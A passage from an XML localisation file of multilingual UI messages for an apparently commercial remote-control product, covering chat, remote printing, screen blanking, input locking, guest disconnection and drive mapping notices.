<ko>메모리 사용 중</ko>
<en-gb>Memory in Use</en-gb>
<hu>Használatban levő memória</hu>
<pt-br>Memória em uso</pt-br>
<nl>Geheugen in gebruik</nl>
</msg>
<!-- chat messages -->
<msg name="CHAT.TITLE">
<en>Chat</en>
<de>Dialog</de>
<es>Conversación</es>
<fr>Chat</fr>
<it>Chat</it>
<ru>Чат</ru>
<ja>チャット</ja>
<zh>聊天</zh>
<ko>대화</ko>
<en-gb>Chat</en-gb>
<hu>Csevegés</hu>
<pt-br>Bate-papo</pt-br>
<nl>Chat</nl>
</msg>
<msg name="CHAT.NEW">
<en>initiated a chat session...</en>
<de>Dialog-Sitzung wurde gestartet ...</de>
<es>se ha iniciado una sesión de conversación...</es>
<fr>démarre une session de chat</fr>
<it>ha avviato una sessione di chat...</it>
<ru>инициировал сеанс чата...</ru>
<ja>チャット セッションを開始しました...</ja>
<zh>已启动聊天会话...</zh>
<ko>이(가) 대화 세션을 시작했습니다...</ko>
<en-gb>initiated a chat session...</en-gb>
<hu>csevegés munkamenetet kezdeményezett...</hu>
<pt-br>inciou uma sessão de bate-papo...</pt-br>
<nl>heeft een chatsessie gestart...</nl>
</msg>
<msg name="CHAT.DISCONNECTED">
<en>Disconnected...</en>
<de>Getrennt ...</de>
<es>Desconectado...</es>
<fr>Déconnecté...</fr>
<it>Disconnessa...</it>
<ru>Отключен...</ru>
<ja>切断されました...</ja>
<zh>已断开连接...</zh>
<ko>연결이 해제됨...</ko>
<en-gb>Disconnected...</en-gb>
<hu>Kapcsolat megszakítva...</hu>
<pt-br>Desconectado...</pt-br>
<nl>Verbinding is verbroken...</nl>
</msg>
<!-- remote printer notification -->
<msg name="REMPRT.NOTIFY.SHORT">
<en>The following printer has been connected:</en>
<de>Der folgende Drucker wurde verbunden:</de>
<es>Se ha conectado la impresora siguiente:</es>
<fr>L'imprimante suivante a été connectée :</fr>
<it>La stampante seguente è stata collegata:</it>
<ru>Следующий принтер был подключен:</ru>
<ja>次のプリンタが接続されました:</ja>
<ko>다음 프린터가 연결되었습니다.</ko>
<hu>A következő nyomtató került csatlakoztatásra:</hu>
<pt-br>A seguinte impressora foi conectada:</pt-br>
<zh>已连接以下打印机:</zh>
<nl>De volgende printer is gekoppeld:</nl>
</msg>
<msg name="REMPRT.NOTIFY_DISC.SHORT">
<en>The following printer has been disconnected:</en>
<es>Se ha desconectado la impresora siguiente:</es>
<de>Die Verbindung zu folgendem Drucker wurde getrennt:</de>
<fr>L'imprimante suivante a été déconnectée :</fr>
<it>La stampante seguente è stata disconnessa:</it>
<ru>Следующий принтер был отключен:</ru>
<ja>次のプリンタが切断されました:</ja>
<zh>已断开连接以下打印机:</zh>
<ko>다음 프린터가 연결 해제되었습니다.</ko>
<en-gb>The following printer has been disconnected:</en-gb>
<hu>A következő nyomtató került leválasztásra:</hu>
<pt-br>A seguinte impressora foi desconectada:</pt-br>
<nl>De verbinding met de volgende printer is verbroken:</nl>
</msg>
<msg name="REMPRT.NOTIFY">
<en>The following device has been connected for the duration of this session and has been set as the default printer:</en>
<de>Das folgende Gerät wurde für die Dauer dieser Sitzung verbunden und als Standarddrucker ausgewählt.</de>
<es>Se ha conectado el siguiente dispositivo para esta sesión y se ha establecido como impresora preestablecida:</es>
<fr>Le dispositif suivant est connecté pour la durée de cette session et défini comme imprimante par défaut :</fr>
<it>La seguente periferica è stata collegata per la durata di questa sessione ed è stata impostata come stampante predefinita:</it>
<ru>В течение данного сеанса следующее устройство было подключено и установлено в качестве принтера по умолчанию:</ru>
<ja>このセッションの存続中、次のデバイスが接続され、既定のプリンタとして設定されました。</ja>
<zh>在此会话期间已连接了以下设备,并已将其设置为默认打印机:</zh>
<ko>다음 장치는 이 세션 기간 동안 연결되었으며 기본 프린터로 설정되었습니다.</ko>
<en-gb>The following device has been connected for the duration of this session and has been set as the default printer:</en-gb>
<hu>A következő eszközt a jelen munkamenet időtartamára csatlakoztatták, és alapértelmezett nyomtatónak állították be:</hu>
<pt-br>O dispositivo a seguir ficará conectado durante toda esta sessão e foi configurado como a impressora padrão:</pt-br>
<nl>Het volgende apparaat is gedurende deze sessie gekoppeld en is als standaardprinter ingesteld:</nl>
</msg>
<msg name="REMPRT.TITLE">
<en>%PRODUCTNAME - Remote Printing</en>
<de>%PRODUCTNAME - Remote-Drucken</de>
<es>%PRODUCTNAME - Impresión remota</es>
<fr>Impression distante</fr>
<it>%PRODUCTNAME - Stampa remota</it>
<ru>%PRODUCTNAME - Удаленная печать</ru>
<ja>%PRODUCTNAME - リモート印刷</ja>
<zh>%PRODUCTNAME - 远程打印</zh>
<ko>%PRODUCTNAME - 원격 인쇄</ko>
<en-gb>%PRODUCTNAME - Remote Printing</en-gb>
<hu>%PRODUCTNAME - Távoli nyomtatás</hu>
<pt-br>%PRODUCTNAME - Impressão remota</pt-br>
<nl>%PRODUCTNAME - Afdrukken op afstand</nl>
</msg>
<msg name="NONIE.LINE1">
<en>Your default browser is not Internet Explorer and might not support automatic (NTLM) authentication.</en>
<es>El navegador predeterminado no es Internet Explorer y podría no admitir la autenticación automática (NTLM).</es>
<fr>Votre navigateur par défaut n'est pas Internet Explorer et pourrait ne pas supporter (NTLM) l'authentification automatique.</fr>
<de>Ihr Standardbrowser ist nicht Internet Explorer. Möglicherweise unterstützt Ihr Browser keine automatische NTLM-Authentifizierung.</de>
<it>Il browser predefinito non è Internet Explorer e potrebbe non supportare l'autenticazione automatica (NTLM).</it>
<ru>Обозреватель по умолчанию не является приложением Internet Explorer и, возможно, не поддерживает автоматическую проверку подлинности (NTLM).</ru>
<ja>既定のブラウザは Internet Explorer ではないため、自動 (NTLM) 認証をサポートしていない可能性があります。</ja>
<zh>您的默认浏览器不是 Internet Explorer,并且可能不支持自动 (NTLM) 验证。</zh>
<ko>기본 브라우저가 Internet Explorer가 아니므로 자동(NTLM) 인증을 지원하지 않을 수 있습니다.</ko>
<en-gb>Your default browser is not Internet Explorer and might not support automatic (NTLM) authentication.</en-gb>
<hu>Az Ön alapértelmezett böngészője nem az Internet Explorer és lehet, hogy nem támogatja az automatikus (NTLM) hitelesítést.</hu>
<pt-br>Seu navegador padrão não é o Internet Explorer e não pode oferecer suporte à autenticação automática (NTLM).</pt-br>
<nl>Uw standaardbrowser is niet Internet Explorer en mogelijk biedt deze geen ondersteuning voor automatische (NTLM-)verificatie.</nl>
</msg>
<msg name="NONIE.LINE2">
<en>If your browser prompts you for a username and a password, enter your current Windows login name and the
password associated with it.</en>
<es>Si el navegador le pide un nombre de usuario y una contraseña, introduzca su nombre de inicio de sesión de Windows y la
contraseña asociada.</es>
<fr>Si votre navigateur vous demande un nom et mot de passe utilisateur, entrez ceux que vous utilisez 			habituellement sous Windows.</fr>
<de>Wenn Sie von Ihrem Browser zur Eingabe des Benutzernamens und Kennworts aufgefordert werden, geben Sie die aktuelle Kombination aus Benutzername und Kennwort für die Windows-Anmeldung ein.</de>
<it>Se il browser richiede un nome utente e una password, immettere il nome corrente di accesso a Windows e la password ad esso associata.</it>
<ru>Если обозреватель запрашивает имя пользователя и пароль, введите текущее имя входа в Windows и соответствующий пароль.</ru>
<ja>ブラウザがユーザ名とパスワードの入力を求める場合は、現在の Windows ログイン名および関連するパスワードを入力してください。</ja>
<zh>如果您的浏览器提示您输入用户名和密码,请输入当前 Windows 登录名和
与该登录名相关的密码。</zh>
<ko>브라우저에서 사용자 이름과 암호를 요청하면 현재 Windows 로그인 이름과 암호를 입력하십시오.</ko>
<en-gb>If your browser prompts you for a username and a password, enter your current Windows login name and the password associated with it.</en-gb>
<hu>Ha a böngésző az Ön felhasználói nevét és jelszavát kéri, adja meg jelenlegi Windows bejelentkezési nevét és a
hozzá tartozó jelszót.</hu>
<pt-br>Se o seu navegador solicitar um nome de usuário e uma senha, digite o atual nome de login do Windows e a
senha associada a ele.</pt-br>
<nl>Als u in uw browser wordt gevraagd een gebruikersnaam en een wachtwoord op te geven, voert u uw huidige Windows-aanmeldingsnaam in alsook het wachtwoord dat hieraan is gekoppeld.</nl>
</msg>
<msg os="macosx" name="NONIE.LINE2">
<en>If your browser prompts you for a username and a password, enter your current Mac login name and the
password associated with it.</en>
<es>Si el navegador le pide un nombre de usuario y una contraseña, introduzca su nombre de inicio de sesión de Mac y la
contraseña asociada.</es>
<fr>Si votre navigateur vous demande un nom et mot de passe utilisateur, entrez ceux que vous utilisez 			habituellement sous Mac.</fr>
<de>Wenn Sie von Ihrem Browser zur Eingabe des Benutzernamens und Kennworts aufgefordert werden, geben Sie die aktuelle Kombination aus Benutzername und Kennwort für die Mac-Anmeldung ein.</de>
<it>Se il browser richiede un nome utente e una password, immettere il nome corrente di accesso a Mac e la password ad esso associata.</it>
<ru>Если обозреватель запрашивает имя пользователя и пароль, введите текущее имя входа в Mac и соответствующий пароль.</ru>
<ja>ブラウザがユーザ名とパスワードの入力を求める場合は、現在の Mac ログイン名および関連するパスワードを入力してください。</ja>
<zh>如果您的浏览器提示您输入用户名和密码,请输入当前 Mac 登录名和
与该登录名相关的密码。</zh>
<ko>브라우저에서 사용자 이름과 암호를 요청하면 현재 Mac 로그인 이름과 암호를 입력하십시오.</ko>
<en-gb>If your browser prompts you for a username and a password, enter your current Mac login name and the password associated with it.</en-gb>
<hu>Ha a böngésző az Ön felhasználói nevét és jelszavát kéri, adja meg jelenlegi Mac bejelentkezési nevét és a
hozzá tartozó jelszót.</hu>
<pt-br>Se o seu navegador solicitar um nome de usuário e uma senha, digite o atual nome de login do Mac e a
senha associada a ele.</pt-br>
<nl>Als u in uw browser wordt gevraagd een gebruikersnaam en een wachtwoord op te geven, voert u uw huidige Mac-aanmeldingsnaam in alsook het wachtwoord dat hieraan is gekoppeld.</nl>
</msg>
<msg name="SCREENBLANKED.NOTIFY">
<en>%PRODUCTNAME has disabled the monitor attached to this computer for the duration of this remote control session. Your actions can not be observed by others.</en>
<es>%PRODUCTNAME ha deshabilitado el monitor conectado a este ordenador durante la sesión de control remoto. Sus acciones no pueden ser observadas por otros.</es>
<fr>%PRODUCTNAME a désactivé le moniteur de l'ordinateur distant pour la durée de la session du contrôle à distance. Ainsi vos actions ne pourront pas être vues par d'autres.</fr>
<de>%PRODUCTNAME hat den Monitor für diesen Computer für die Dauer dieser Remotesteuerungssitzung deaktiviert. Ihre Vorgänge werden anderen Benutzern nicht angezeigt.</de>
<it>%PRODUCTNAME ha disattivato il monitor collegato a questo computer per la durata di questa sessione di controllo remoto. Le azioni dell'utente non possono essere osservate da altri utenti.</it>
<ru>Во время данного сеанса удаленного управления приложение %PRODUCTNAME отключило монитор, подсоединенный к данному компьютеру. Теперь за действиями пользователя не могут наблюдать посторонние.</ru>
<ja>%PRODUCTNAME により、このリモート制御セッションの存続中はこのコンピュータに接続されたモニタが無効になっています。操作を他人に見られることはありません。</ja>
<zh>%PRODUCTNAME 在此远程控制会话期间已禁用了连接至该计算机的显示器。其他人无法看到您的操作。</zh>
<ko>%PRODUCTNAME은(는) 이 원격 제어 세션 기간 동안 이 컴퓨터에 연결된 모니터를 사용하지 않도록 설정했습니다. 다른 사용자가 사용자의 작업을 관찰할 수 없습니다.</ko>
<en-gb>%PRODUCTNAME has disabled the monitor attached to this computer for the duration of this remote control session. Your actions can not be observed by others.</en-gb>
<hu>A %PRODUCTNAME kikapcsolta a számítógéphez csatlakozó monitort a jelen távvezérlési munkamenet időtartamára. Az Ön tevékenységét nem figyelhetik meg mások.</hu>
<pt-br>O %PRODUCTNAME desabilitou o monitor conectado a este computador durante esta sessão de controle remoto. Suas ações não podem ser observadas por outras pessoas.</pt-br>
<nl>%PRODUCTNAME heeft het beeldscherm uitgeschakeld dat aan deze computer is aangesloten gedurende deze sessie voor besturing op afstand. Op die manier kunnen andere gebruikers niet zien welke acties u uitvoert.</nl>
</msg>
<msg name="SCREENBLANKED.LOCALINPUT.NOTIFY">
<en>There is someone present at the host computer, but they see a blank screen. Disable &apos;Blank screen&apos; to prevent confusion and communicate with the user.</en>
<en>There is someone present at the host computer, but they see a blank screen. Disable 'Blank screen' to prevent confusion and communicate with the user.</en>
<es>Hay alguien delante del ordenador host, pero en él se muestra una pantalla sin contenido. Deshabilite “Pantalla sin contenido” para evitar confusiones y comunicarse con el usuario.</es>
<fr>Une personne est présente devant l'ordinateur hôte, mais elle voit un écran vide. Désactivez 'Écran masqué' pour éviter toute confusion et communiquer avec l'utilisateur.</fr>
<de>Es ist jemand am Hostcomputer anwesend, sieht aber nur einen leeren Bildschirm. Deaktivieren Sie die Option „Leeren Bildschirm anzeigen“, um Verwirrungen vorzubeugen und mit dem Benutzer zu kommunizieren.</de>
<it>Qualcuno è presente al computer host, ma vede lo schermo vuoto. Disattiva 'Cancella contenuto dello schermo' per evitare confusione e comunicare con l'utente.</it>
<ru>За хост-компьютером работает пользователь, но его экран пустой. Отключите функцию «Очистить экран», чтобы упростить и сделать более наглядным общение с пользователем.</ru>
<ja>ホスト コンピュータの前にユーザーがいますが、画面には何も表示されていません。混乱を避け、ユーザーとやり取りするためには、[空白画面] を無効にしてください。</ja>
<zh>有人在操作主机,但他们只能看见一个空白屏幕。禁用“黑屏”以免对用户造成混淆且可与用户沟通。</zh>
<ko>누군가가 호스트 컴퓨터에 있지만 화면이 비어 있습니다. '빈 화면'를 비활성화하여 혼란을 방지하고 사용자와 커뮤니케이션하십시오.</ko>
<en-gb>There is someone present at the host computer, but they see a blank screen. Disable 'Blank screen' to prevent confusion and communicate with the user.</en-gb>
<hu>Valaki ül a gazdagépnél, de a gép képernyője üres. A félreértések elkerülése végett tiltsa le az „Üres képernyő” beállítást, így kommunikálhat a felhasználóval.</hu>
<pt-br>Alguém está presente no computador host, mas essa pessoa só pode ver uma tela em branco. Desabilite a “Tela em branco” para evitar dúvidas e comunique o usuário.</pt-br>
<nl>Er zit iemand achter de host, maar er wordt niets weergegeven op het scherm. Schakel hun scherm in om verwarring te voorkomen en met de gebruiker te communiceren.</nl>
</msg>
<msg name="SCREENBLANKED.DISABLEDLI.NOTIFY">
<en>There is someone present at the host computer, but they see a blank screen. Disable 'Blank screen' and 'Lock keyboard and mouse' to prevent confusion and communicate with the user.</en>
<es>Hay alguien delante del ordenador host, pero en él se muestra una pantalla sin contenido. Deshabilite “Pantalla sin contenido” y “Bloquear teclado y ratón” para evitar confusiones y comunicarse con el usuario.</es>
<fr>Une personne est présente devant l'ordinateur hôte, mais elle voit un écran vide. Désactivez 'Écran masqué' et 'Verrouiller le clavier et la souris' pour éviter toute confusion et communiquer avec l'utilisateur.</fr>
<de>Es ist jemand am Hostcomputer anwesend, sieht aber nur einen leeren Bildschirm. Deaktivieren Sie die Optionen „Leeren Bildschirm anzeigen“ und „Tastatur und Maus sperren“, um Verwirrungen vorzubeugen und mit dem Benutzer zu kommunizieren.</de>
<it>Qualcuno è presente al computer host, ma vede lo schermo vuoto. Disattiva 'Cancella contenuto dello schermo' e 'Blocca tastiera e mouse' per evitare confusione e comunicare con l'utente.</it>
<ru>За хост-компьютером работает пользователь, но его экран пустой. Отключите функции «Очистить экран» и «Заблокировать клавиатуру и мышь», чтобы упростить и сделать более наглядным общение с пользователем.</ru>
<ja>ホスト コンピュータの前にユーザーがいますが、画面には何も表示されていません。混乱を避け、ユーザーとやり取りするためには、[空白画面] および [キーボードとマウスをロック] を無効にしてください。</ja>
<zh>有人在操作主机,但他们只能看见一个空白屏幕。禁用“黑屏”和“锁定键盘和鼠标”以免对用户造成混淆且可与用户沟通。</zh>
<ko>누군가가 호스트 컴퓨터에 있지만 화면이 비어 있습니다. '빈 화면', '키보드 및 마우스 잠금'을 비활성화하여 혼란을 방지하고 사용자와 커뮤니케이션하십시오.</ko>
<en-gb>There is someone present at the host computer, but they see a blank screen. Disable 'Blank screen' and 'Lock keyboard and mouse' to prevent confusion and communicate with the user.</en-gb>
<hu>Valaki ül a gazdagépnél, de a gép képernyője üres. A félreértések elkerülése végett tiltsa le az „Üres képernyő” és a „Billentyűzet és egér lezárása” beállítást, így kommunikálhat a felhasználóval.</hu>
<pt-br>Alguém está presente no computador host, mas essa pessoa só pode ver uma tela em branco. Desabilite a “Tela em branco” e “Travar teclado e mouse” para evitar dúvidas e comunique o usuário.</pt-br>
<nl>Er zit iemand achter de host, maar er wordt niets weergegeven op het scherm. Schakel hun scherm in en hef de vergrendeling van muis en toetsenbord op om verwarring te voorkomen en met de gebruiker te communiceren.</nl>
</msg>
<msg name="DISABLED.LOCALINPUT.NOTIFY">
<en>There is someone present at the host computer, but they cannot interact. Disable 'Lock keyboard and mouse' to prevent confusion and communicate with the user.</en>
<es>Hay alguien delante del ordenador host, pero no puede interactuar. Deshabilite “Bloquear teclado y ratón” para evitar confusiones y comunicarse con el usuario.</es>
<fr>Une personne est présente devant l'ordinateur hôte, mais elle ne peut pas interagir. Désactivez 'Verrouiller le clavier et la souris' pour éviter toute confusion et communiquer avec l'utilisateur.</fr>
<de>Es ist jemand am Hostcomputer anwesend, kann aber nicht mit Ihnen interagieren. Deaktivieren Sie die Option „Tastatur und Maus sperren“, um Verwirrungen vorzubeugen und mit dem Benutzer zu kommunizieren.</de>
<it>Qualcuno è presente al computer host, ma non può interagire. Disattiva 'Blocca tastiera e mouse' per evitare confusione e comunicare con l'utente.</it>
<ru>За хост-компьютером работает пользователь, но он не может взаимодействовать с компьютером. Отключите функцию «Заблокировать клавиатуру и мышь», чтобы упростить и сделать более наглядным общение с пользователем.</ru>
<ja>ホスト コンピュータの前にユーザーがいますが、やり取りができません。混乱を避け、ユーザーとやり取りするためには、 [キーボードとマウスをロック] を無効にしてください。</ja>
<zh>有人在操作主机,但他们无法进行互动。禁用“锁定键盘和鼠标”以免对用户造成混淆且可与用户沟通。</zh>
<ko>누군가가 호스트 컴퓨터에 있지만 사용할 수 없습니다. '키보드 및 마우스 잠금'을 비활성화하여 혼란을 방지하고 사용자와 커뮤니케이션하십시오.</ko>
<en-gb>There is someone present at the host computer, but they cannot interact. Disable 'Lock keyboard and mouse' to prevent confusion and communicate with the user.</en-gb>
<hu>Valaki ül a gazdagépnél, a gép azonban nem reagál a bevitelre. A félreértések elkerülése végett kapcsolja ki a „Billentyűzet és egér lezárása” beállítást, így kommunikálhat a felhasználóval.</hu>
<pt-br>Alguém está presente no computador host, mas essa pessoa não consegue interagir. Desabilite “Travar teclado e mouse” para evitar dúvidas e comunique o usuário.</pt-br>
<nl>Er zit iemand achter de host, maar er is geen mogelijkheid tot communiceren. Hef de vergrendeling van muis en toetsenbord op om verwarring te voorkomen en met de gebruiker te communiceren.</nl>
</msg>
<msg name="SCREENBLANKED.TITLE">
<en>%PRODUCTNAME - Screen Blanked</en>
<es>%PRODUCTNAME - Pantalla sin contenido</es>
<fr>%PRODUCTNAME - Ecran masqué</fr>
<de>%PRODUCTNAME - Bildschirmdeaktivierung</de>
<it>%PRODUCTNAME - Contenuto della schermata cancellato</it>
<ru>%PRODUCTNAME - Очищенный экран</ru>
<ja>%PRODUCTNAME – 空白画面</ja>
<zh>%PRODUCTNAME - 已使屏幕黑屏</zh>
<ko>%PRODUCTNAME - 빈 화면</ko>
<en-gb>%PRODUCTNAME - Screen Blanked</en-gb>
<hu>%PRODUCTNAME - Képernyő kikapcsolva</hu>
<pt-br>%PRODUCTNAME - Tela em branco</pt-br>
<nl>%PRODUCTNAME - Beeldscherm uitgeschakeld</nl>
</msg>
<msg name="INPUTDISABLED.NOTIFY">
<en>%PRODUCTNAME has disabled the keyboard and mouse attached to this computer for the duration of this remote control session.</en>
<es>%PRODUCTNAME ha deshabilitado el teclado y el ratón conectados a este ordenador durante la sesión de control remoto.</es>
<fr>%PRODUCTNAME a désactivé le clavier et la souris reliés à l'ordinateur distant pour la durée de la session du contrôle à distance.</fr>
<de>%PRODUCTNAME hat die Tastatur und Maus für diesen Computer für die Dauer dieser Remotesteuerungssitzung deaktiviert.</de>
<it>%PRODUCTNAME ha disattivato la tastiera e il mouse collegati a questo computer per la durata di questa sessione di controllo remoto.</it>
<ru>Во время данного сеанса удаленного управления приложение %PRODUCTNAME отключило клавиатуру и мышь, подсоединенные к данному компьютеру.</ru>
<ja>%PRODUCTNAME は、このリモート制御セッションの間、このコンピュータに接続されたキーボードとマウスを無効にします。</ja>
<zh>%PRODUCTNAME 在此远程控制会话期间已禁用了连接至该计算机的键盘和鼠标。</zh>
<ko>%PRODUCTNAME은(는) 이 원격 제어 세션 기간 동안 이 컴퓨터에 연결된 키보드 및 마우스를 사용하지 않도록 설정했습니다.</ko>
<en-gb>%PRODUCTNAME has disabled the keyboard and mouse attached to this computer for the duration of this remote control session.</en-gb>
<hu>A %PRODUCTNAME kikapcsolta a számítógéphez csatlakozó billentyűzetet és egeret a jelen távvezérlési munkamenet időtartamára.</hu>
<pt-br>O %PRODUCTNAME desabilitou o teclado e o mouse conectados a este computador durante esta sessão de controle remoto.</pt-br>
<nl>%PRODUCTNAME heeft het toetsenbord en de muis uitgeschakeld die aan deze computer zijn aangesloten gedurende deze sessie voor besturing op afstand.</nl>
</msg>
<msg name="INPUTDISABLED.TITLE">
<en>%PRODUCTNAME - Local Input</en>
<es>%PRODUCTNAME - Entrada local</es>
<fr>%PRODUCTNAME - Entrée Locale</fr>
<de>%PRODUCTNAME - Lokale Eingabe</de>
<it>%PRODUCTNAME - Input locale</it>
<ru>%PRODUCTNAME - Средства локального ввода</ru>
<ja>%PRODUCTNAME – ローカル入力</ja>
<zh>%PRODUCTNAME - 本地输入</zh>
<ko>%PRODUCTNAME - 로컬 입력</ko>
<en-gb>%PRODUCTNAME - Local Input</en-gb>
<hu>%PRODUCTNAME - Helyi bevitel</hu>
<pt-br>%PRODUCTNAME - Entrada local</pt-br>
<nl>%PRODUCTNAME - Lokale invoerapparaten</nl>
</msg>
<msg name="GUESTLOGOFF.NOTIFY.LINE1">
<en>The guest viewing your desktop has been disconnected.</en>
<es>Se ha desconectado al invitado que estaba viendo su escritorio.</es>
<de>Der Gastzugang für die Anzeige Ihres Desktops wurde getrennt.</de>
<fr>L'invité visualisant votre bureau a été déconnecté.</fr>
<it>L'ospite che sta visualizzando il desktop è stato disconnesso.</it>
<ru>Отключен гость, просматривающий ваш рабочий стол.</ru>
<ja>デスクトップを表示していたゲストは切断されました。</ja>
<zh>正在查看您桌面的来宾已断开连接。</zh>
<ko>사용자의 데스크톱을 보고 있는 게스트의 연결이 끊어졌습니다.</ko>
<en-gb>The guest viewing your desktop has been disconnected.</en-gb>
<hu>Az Ön asztalát megtekintő vendég lecsatlakoztatása megtörtént.</hu>
<pt-br>O convidado que está vendo seu desktop foi desconectado.</pt-br>
<nl>De verbinding is verbroken voor de gastgebruiker die uw Bureaublad heeft weergegeven.</nl>
</msg>
<msg name="GUESTLOGOFF.NOTIFY.LINE2">
<en>Your desktop is no longer being shared with others.</en>
<es>Su escritorio ya no está siendo compartido con otros.</es>
<de>Ihr Desktop ist nicht mehr für andere Benutzer freigegeben.</de>
<fr>Votre bureau n'est plus partagé avec d'autres utilisateurs.</fr>
<it>Il desktop non viene più condiviso con altri.</it>
<ru>Ваш рабочий стол больше не используется совместно с другими пользователями.</ru>
<ja>デスクトップは現在共有されていません。</ja>
<zh>其他人不能再共享您的桌面。</zh>
<ko>사용자의 데스크톱이 더 이상 다른 사용자와 공유되지 않습니다.</ko>
<en-gb>Your desktop is no longer being shared with others.</en-gb>
<hu>Az Ön asztala nincs többé megosztva másokkal.</hu>
<pt-br>Seu desktop não está mais sendo compartilhado com outras pessoas.</pt-br>
<nl>Uw bureaublad is niet meer gedeeld met andere gebruikers.</nl>
</msg>
<msg name="GUESTLOGOFF.TITLE">
<en>%PRODUCTNAME - Guest Disconnected</en>
<es>%PRODUCTNAME - Invitado desconectado</es>
<de>%PRODUCTNAME - Gast getrennt</de>
<fr>%PRODUCTNAME - Invité déconnecté</fr>
<it>%PRODUCTNAME - Ospite disconnesso</it>
<ru>%PRODUCTNAME - Гость отключен</ru>
<ja>%PRODUCTNAME – 切断されたゲスト</ja>
<zh>%PRODUCTNAME - 来宾已断开连接</zh>
<ko>%PRODUCTNAME - 게스트 연결이 끊어짐</ko>
<en-gb>%PRODUCTNAME - Guest Disconnected</en-gb>
<hu>%PRODUCTNAME - Vendég lecsatlakoztatása</hu>
<pt-br>%PRODUCTNAME - Convidado desconectado</pt-br>
<nl>%PRODUCTNAME - Verbinding van gastgebruiker is verbroken</nl>
</msg>
<msg name="GUESTUNANSWERED">
<en>A guest has answered the following invitation:\n\n$1\n\nYou were not present and the invitation has been automatically declined.</en>
<es>Un invitado ha respondido a la siguiente invitación:\n\n$1\n\nNo estaba presente y la invitación ha sido declinada automáticamente.</es>
<de>Ein Gast hat folgende Einladung beantwortet:\n\n$1\n\nDa Sie zu diesem Zeitpunkt waren nicht am Computer waren, wurde die Einladung automatisch abgelehnt.</de>
<fr>Un invité a répondu à l'invitation suivante :\n\n$1\n\nvous n'étiez pas présent et l'invitation a été automatiquement refusée.</fr>
<it>Un ospite ha risposto al seguente invito:\n\n$1\n\nL'utente non si trovava davanti al computer e l'invito è stato automaticamente rifiutato.</it>
<ru>Гость ответила на следующее приглашение:\n\n$1\n\nИз-за отсутствия пользователя приглашение было автоматически отклонено.</ru>
<ja>ゲストが次の招待に応答しました :\n\n$1\n\不在だったため、招待は自動的に拒絶されました。</ja>
<zh>来宾已回应以下邀请:\n\n$1\n\n您没有出现,邀请被自动拒绝。</zh>
<ko>게스트가 다음 초대에 응답했습니다:\n\n$1\n\n사용자가 없으므로 초대는 자동으로 거부되었습니다.</ko>
<en-gb>A guest has answered the following invitation:\n\n$1\n\nYou were not present and the invitation has been automatically declined.</en-gb>
<hu>Egy vendég válaszolt a következő meghívóra: \n\n$1\n\nÖn nem volt jelen, és a meghívó automatikusan elutasításra került.</hu>
<pt-br>Um convidado respondeu ao seguinte convite:\n\n$1\n\nVocê não está presente e o convite foi recusado automaticamente.</pt-br>
<nl>Een gastgebruiker heeft gereageerd op de volgende uitnodiging:\n\n$1\n\nU was niet aanwezig en de uitnodiging is automatisch geweigerd.</nl>
</msg>
<msg name="DONTDISPLAYAGAIN">
<en>Don't display this message again.</en>
<de>Diese Meldung nicht mehr anzeigen.</de>
<es>No volver a mostrar este mensaje.</es>
<fr>Ne plus afficher ce message à l'avenir</fr>
<it>Non visualizzare più questo messaggio.</it>
<ru>Не показывать это сообщение опять.</ru>
<ja>このメッセージは再び表示されることはありません。</ja>
<zh>不再显示此信息。</zh>
<ko>이 메시지를 다시 표시하지 않습니다.</ko>
<en-gb>Don't display this message again.</en-gb>
<hu>Ne mutassa ismét ezt az üzenetet.</hu>
<pt-br>Não exiba esta mensagem novamente.</pt-br>
<nl>Dit bericht niet opnieuw weergeven.</nl>
</msg>
<!-- Rfs Drivemap notification -->
<msg name="RFSDRIVEMAP.NOTIFY">
<en>The disk drives on your local computer have been temporarily connected to drive letter %RFSDRIVELETTER.</en>
<de>Die Festplattenlaufwerke Ihres lokalen Computers wurden temporär mit dem Laufwerksbuchstaben %RFSDRIVELETTER verbunden.</de>
<es>Las unidades de disco de su ordenador se han conectado temporalmente a la letra de unidad %RFSDRIVELETTER.</es>
<fr>Les lecteurs de disque de votre ordinateur local ont été connectés temporairement à la lettre de lecteur %RFSDRIVELETTER.</fr>
<it>Le unità disco del computer locale sono state temporaneamente connesse alla lettera di unità %RFSDRIVELETTER.</it>
<ru>Диски вашего локального компьютера были временно подключены к диску %RFSDRIVELETTER.</ru>
<ja>ローカルコンピュータのディスクドライブはボリューム名、%RFSDRIVELETTER として接続されています。</ja>
<zh>您的本地计算机上的磁盘驱动器已经被暂时连接到盘符为 %RFSDRIVELETTER 的驱动器上。</zh>
<ko>로컬 컴퓨터의 디스크 드라이브가 드라이브 문자 %RFSDRIVELETTER에 일시적으로 연결되었습니다.</ko>
<hu>Az Ön helyi számítógépének lemezmeghajtói ideiglenesen a következő meghajtó-betűjelhez vannak kapcsolva: %RFSDRIVELETTER.</hu>
<pt-br>As unidades de disco do seu computador local foram conectadas temporariamente à letra de unidade %RFSDRIVELETTER.</pt-br>
<nl>De schijfstations op uw lokale computer zijn tijdelijk gekoppeld aan de stationsletter %RFSDRIVELETTER.</nl>
</msg>
<msg name="RFSDRIVEMAP.TITLE">
<en>%PRODUCTNAME - Connecting Drives</en>
<de>%PRODUCTNAME – Laufwerke verbinden</de>
<es>%PRODUCTNAME – Conectando unidades</es>
<fr>%PRODUCTNAME - Connexion des lecteurs</fr>
<it>%PRODUCTNAME - Connessione di unità</it>
<ru>%PRODUCTNAME – подключение дисков</ru>
<ja>%PRODUCTNAME - 接続されたドライブ</ja>
<zh>%PRODUCTNAME – 连接驱动器</zh>
<ko>%PRODUCTNAME - 드라이브 연결 중</ko>
<hu>%PRODUCTNAME - Meghajtók csatlakoztatása</hu>
<pt-br>%PRODUCTNAME - Conectando unidades</pt-br>
<nl>%PRODUCTNAME - Schijfstations koppelen</nl>
</msg>
<!-- about dialog -->
<cat name="CNFRMDISABLE">
<msg name="TITLE">
<en>%PRODUCTNAME</en>
<de>%PRODUCTNAME</de>
<es>%PRODUCTNAME</es>
<fr>%PRODUCTNAME</fr>
<it>%PRODUCTNAME</it>
<ru>%PRODUCTNAME</ru>
<ja>%PRODUCTNAME</ja>
<zh>%PRODUCTNAME</zh>
<ko>%PRODUCTNAME</ko>
<en-gb>%PRODUCTNAME</en-gb>
<hu>%PRODUCTNAME</hu>
<pt-br>%PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME</nl>
</msg>
<msg name="CONFIRM">
<en>If you proceed, this computer will not be accessible from a remote location until you re-enable %PRODUCTNAME.\r\n\r\nAre you sure you want to disable %PRODUCTNAME?</en>
